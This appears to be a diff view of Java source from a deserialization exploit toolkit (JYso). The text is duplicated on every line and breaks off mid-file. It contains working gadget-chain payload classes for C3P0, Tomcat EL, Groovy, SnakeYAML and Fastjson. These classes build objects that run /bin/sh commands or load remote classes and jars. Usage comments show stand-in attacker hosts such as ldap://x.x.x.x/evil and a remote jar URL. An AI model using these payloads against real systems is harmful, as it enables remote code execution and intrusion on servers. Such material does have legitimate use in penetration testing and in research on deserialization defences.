Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class); Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true); setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", "."); setu.invoke(i, "bsh.cwd", ".");
i.eval(payload); i.eval(payload);
Class<?> xThis = Class.forName("bsh.XThis"); Class<?> xThis = Class.forName("bsh.XThis");
Field handlerField = xThis.getDeclaredField("invocationHandler"); Field handlerField = xThis.getDeclaredField("invocationHandler");
handlerField.setAccessible(true); handlerField.setAccessible(true);
Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class); Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
xthisDeclaredConstructor.setAccessible(true); xthisDeclaredConstructor.setAccessible(true);
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i); Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
handlerField.setAccessible(true); handlerField.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handlerField.get(xt); InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> queue = new PriorityQueue(2); PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1"); queue.add("1");
queue.add("2"); queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true); field.setAccessible(true);
field.set(queue, comparator); field.set(queue, comparator);
return queue; return queue;
} }
} }
+92 -92
View File
@@ -1,92 +1,92 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.naming.Reference; import javax.naming.Reference;
import javax.naming.Referenceable; import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource; import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection; import javax.sql.PooledConnection;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.logging.Logger; import java.util.logging.Logger;
/** /**
* com.sun.jndi.rmi.registry.RegistryContext->lookup * com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
* <p> * <p>
* Arguments: * Arguments:
* - base_url:classname * - base_url:classname
* <p> * <p>
* Yields: * Yields:
* - Instantiation of remotely loaded class * - Instantiation of remotely loaded class
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class C3P0 implements ObjectPayload<Object> { public class C3P0 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':'); int sep = command.lastIndexOf(':');
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
} }
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b; return b;
} }
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className; private final String className;
private final String url; private final String url;
public PoolSource(String className, String url) { public PoolSource(String className, String url) {
this.className = className; this.className = className;
this.url = url; this.url = url;
} }
public Reference getReference() { public Reference getReference() {
return new Reference("exploit", this.className, this.url); return new Reference("exploit", this.className, this.url);
} }
public PrintWriter getLogWriter() { public PrintWriter getLogWriter() {
return null; return null;
} }
public void setLogWriter(PrintWriter out) { public void setLogWriter(PrintWriter out) {
} }
public int getLoginTimeout() { public int getLoginTimeout() {
return 0; return 0;
} }
public void setLoginTimeout(int seconds) { public void setLoginTimeout(int seconds) {
} }
public Logger getParentLogger() { public Logger getParentLogger() {
return null; return null;
} }
public PooledConnection getPooledConnection() { public PooledConnection getPooledConnection() {
return null; return null;
} }
public PooledConnection getPooledConnection(String user, String password) { public PooledConnection getPooledConnection(String user, String password) {
return null; return null;
} }
} }
} }
+84 -84
View File
@@ -1,84 +1,84 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import javax.naming.Reference; import javax.naming.Reference;
import javax.naming.Referenceable; import javax.naming.Referenceable;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource; import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection; import javax.sql.PooledConnection;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.logging.Logger; import java.util.logging.Logger;
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue; import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
/** /**
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
@Authors({Authors.QI4L}) @Authors({Authors.QI4L})
public class C3P02 implements ObjectPayload<Object> { public class C3P02 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
if (command.startsWith("LF-")) { if (command.startsWith("LF-")) {
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\""); command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
} else { } else {
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()"; command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
} }
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b; return b;
} }
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd; private final String cmd;
public PoolSource(String cmd) { public PoolSource(String cmd) {
this.cmd = cmd; this.cmd = cmd;
} }
public Reference getReference() { public Reference getReference() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=eval")); ref.add(new StringRefAddr("forceString", "QI4L=eval"));
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")")); ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
return ref; return ref;
} }
public PrintWriter getLogWriter() { public PrintWriter getLogWriter() {
return null; return null;
} }
public void setLogWriter(PrintWriter out) { public void setLogWriter(PrintWriter out) {
} }
public int getLoginTimeout() { public int getLoginTimeout() {
return 0; return 0;
} }
public void setLoginTimeout(int seconds) { public void setLoginTimeout(int seconds) {
} }
public Logger getParentLogger() { public Logger getParentLogger() {
return null; return null;
} }
public PooledConnection getPooledConnection() { public PooledConnection getPooledConnection() {
return null; return null;
} }
public PooledConnection getPooledConnection(String user, String password) { public PooledConnection getPooledConnection(String user, String password) {
return null; return null;
} }
} }
} }
+77 -77
View File
@@ -1,77 +1,77 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import javax.naming.Reference; import javax.naming.Reference;
import javax.naming.Referenceable; import javax.naming.Referenceable;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource; import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection; import javax.sql.PooledConnection;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.logging.Logger; import java.util.logging.Logger;
/** /**
* 同 C3P0 2 只不过使用了 Groovy * 同 C3P0 2 只不过使用了 Groovy
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.QI4L}) @Authors({Authors.QI4L})
public class C3P03 implements ObjectPayload<Object> { public class C3P03 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b; return b;
} }
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd; private final String cmd;
public PoolSource(String cmd) { public PoolSource(String cmd) {
this.cmd = cmd; this.cmd = cmd;
} }
public Reference getReference() { public Reference getReference() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=evaluate")); ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()")); ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
return ref; return ref;
} }
public PrintWriter getLogWriter() { public PrintWriter getLogWriter() {
return null; return null;
} }
public void setLogWriter(PrintWriter out) { public void setLogWriter(PrintWriter out) {
} }
public int getLoginTimeout() { public int getLoginTimeout() {
return 0; return 0;
} }
public void setLoginTimeout(int seconds) { public void setLoginTimeout(int seconds) {
} }
public Logger getParentLogger() { public Logger getParentLogger() {
return null; return null;
} }
public PooledConnection getPooledConnection() { public PooledConnection getPooledConnection() {
return null; return null;
} }
public PooledConnection getPooledConnection(String user, String password) { public PooledConnection getPooledConnection(String user, String password) {
return null; return null;
} }
} }
} }
+154 -154
View File
@@ -1,154 +1,154 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils; import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import javax.naming.Reference; import javax.naming.Reference;
import javax.naming.Referenceable; import javax.naming.Referenceable;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource; import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection; import javax.sql.PooledConnection;
import java.io.IOException; import java.io.IOException;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.logging.Logger; import java.util.logging.Logger;
/** /**
* 同上 只不过使用了 snakeyaml * 同上 只不过使用了 snakeyaml
* 加了一些常见的 Gadget,有点套娃的感觉了 * 加了一些常见的 Gadget,有点套娃的感觉了
* <p> * <p>
* 用法: * 用法:
* 远程加载 Jar 包 * 远程加载 Jar 包
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar' * C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
* <p> * <p>
* 向服务器写入 Jar 包并加载(不出网) * 向服务器写入 Jar 包并加载(不出网)
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
* C3P04 'localJar-./yaml.jar' * C3P04 'localJar-./yaml.jar'
* <p> * <p>
* C3P0 二次反序列化 * C3P0 二次反序列化
* C3P04 'c3p0Double-/usr/CC6.ser' * C3P04 'c3p0Double-/usr/CC6.ser'
* <p> * <p>
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI * C3P0 JNDI 以及 JdbcRowSetImpl JNDI
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil' * C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
* C3P04 'jndi-ldap://x.x.x.x/evil' * C3P04 'jndi-ldap://x.x.x.x/evil'
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
@Authors({Authors.QI4L}) @Authors({Authors.QI4L})
public class C3P04 implements ObjectPayload<Object> { public class C3P04 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf('-'); int sep = command.lastIndexOf('-');
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <type>:<cmd>"); throw new IllegalArgumentException("Command format is: <type>:<cmd>");
} }
String[] parts = command.split("-"); String[] parts = command.split("-");
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1])); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
return b; return b;
} }
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd; private final String cmd;
private final String type; private final String type;
public PoolSource(String type, String cmd) { public PoolSource(String type, String cmd) {
this.type = type; this.type = type;
this.cmd = cmd; this.cmd = cmd;
} }
public Reference getReference() { public Reference getReference() {
String yaml = ""; String yaml = "";
switch (type) { switch (type) {
case "remoteJar": case "remoteJar":
yaml = "!!javax.script.ScriptEngineManager [\n" + yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" + " !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + cmd + "\"]\n" + " !!java.net.URL [\"" + cmd + "\"]\n" +
" ]]\n" + " ]]\n" +
"]"; "]";
break; break;
case "localJar": case "localJar":
yaml = "!!javax.script.ScriptEngineManager [\n" + yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" + " !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file://" + cmd + "\"]\n" + " !!java.net.URL [\"file://" + cmd + "\"]\n" +
" ]]\n" + " ]]\n" +
"]"; "]";
break; break;
case "writeJar": case "writeJar":
String[] parts = cmd.split(":"); String[] parts = cmd.split(":");
try { try {
yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]); yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
} catch (Exception e) { } catch (Exception e) {
throw new RuntimeException(e); throw new RuntimeException(e);
} }
break; break;
case "c3p0Double": case "c3p0Double":
try { try {
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = HexUtils.bytesToHexString(data, data.length); String hexString = HexUtils.bytesToHexString(data, data.length);
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";"; "userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
} catch (IOException e) { } catch (IOException e) {
throw new RuntimeException(e); throw new RuntimeException(e);
} }
break; break;
case "c3p0Jndi": case "c3p0Jndi":
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: " + cmd + "\n" + "jndiName: " + cmd + "\n" +
"loginTimeout: 0"; "loginTimeout: 0";
break; break;
case "jndi": case "jndi":
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" + yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"dataSourceName: " + cmd + "\n" + "dataSourceName: " + cmd + "\n" +
"autoCommit: true"; "autoCommit: true";
break; break;
} }
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null); true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=load")); ref.add(new StringRefAddr("forceString", "QI4L=load"));
ref.add(new StringRefAddr("QI4L", yaml)); ref.add(new StringRefAddr("QI4L", yaml));
return ref; return ref;
} }
public PrintWriter getLogWriter() { public PrintWriter getLogWriter() {
return null; return null;
} }
public void setLogWriter(PrintWriter out) { public void setLogWriter(PrintWriter out) {
} }
public int getLoginTimeout() { public int getLoginTimeout() {
return 0; return 0;
} }
public void setLoginTimeout(int seconds) { public void setLoginTimeout(int seconds) {
} }
public Logger getParentLogger() { public Logger getParentLogger() {
return null; return null;
} }
public PooledConnection getPooledConnection() { public PooledConnection getPooledConnection() {
return null; return null;
} }
public PooledConnection getPooledConnection(String user, String password) { public PooledConnection getPooledConnection(String user, String password) {
return null; return null;
} }
} }
} }
+99 -99
View File
@@ -1,99 +1,99 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler; import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
import javassist.ClassClassPath; import javassist.ClassClassPath;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javax.naming.Reference; import javax.naming.Reference;
import javax.naming.Referenceable; import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource; import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection; import javax.sql.PooledConnection;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.logging.Logger; import java.util.logging.Logger;
/** /**
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 * C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"}) @Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class C3P092 implements ObjectPayload<Object> { public class C3P092 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':'); int sep = command.lastIndexOf(':');
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
} }
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
ClassPool pool = new ClassPool(); ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"))); pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed // mock method name until armed
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass( final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain() new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
); );
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b; return b;
} }
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className; private final String className;
private final String url; private final String url;
public PoolSource(String className, String url) { public PoolSource(String className, String url) {
this.className = className; this.className = className;
this.url = url; this.url = url;
} }
public Reference getReference() { public Reference getReference() {
return new Reference("exploit", this.className, this.url); return new Reference("exploit", this.className, this.url);
} }
public PrintWriter getLogWriter() { public PrintWriter getLogWriter() {
return null; return null;
} }
public void setLogWriter(PrintWriter out) { public void setLogWriter(PrintWriter out) {
} }
public int getLoginTimeout() { public int getLoginTimeout() {
return 0; return 0;
} }
public void setLoginTimeout(int seconds) { public void setLoginTimeout(int seconds) {
} }
public Logger getParentLogger() { public Logger getParentLogger() {
return null; return null;
} }
public PooledConnection getPooledConnection() { public PooledConnection getPooledConnection() {
return null; return null;
} }
public PooledConnection getPooledConnection(String user, String password) { public PooledConnection getPooledConnection(String user, String password) {
return null; return null;
} }
} }
} }
@@ -1,39 +1,39 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.ComboPooledDataSource; import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.util.HashMap; import java.util.HashMap;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4}) @Authors({Authors.UNAM4})
public class C3P0JDBC implements ObjectPayload<Object> { public class C3P0JDBC implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) { if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl"); throw new Exception("Command format is: eviljdbcurl");
} }
ComboPooledDataSource o = new ComboPooledDataSource(); ComboPooledDataSource o = new ComboPooledDataSource();
o.setJdbcUrl(command); o.setJdbcUrl(command);
o.setMaxIdleTime(1); o.setMaxIdleTime(1);
o.setMaxPoolSize(1); o.setMaxPoolSize(1);
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(o); jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>(); HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val); hashMap.put(o, val);
return hashMap; return hashMap;
} }
} }
@@ -1,41 +1,41 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.util.HashMap; import java.util.HashMap;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
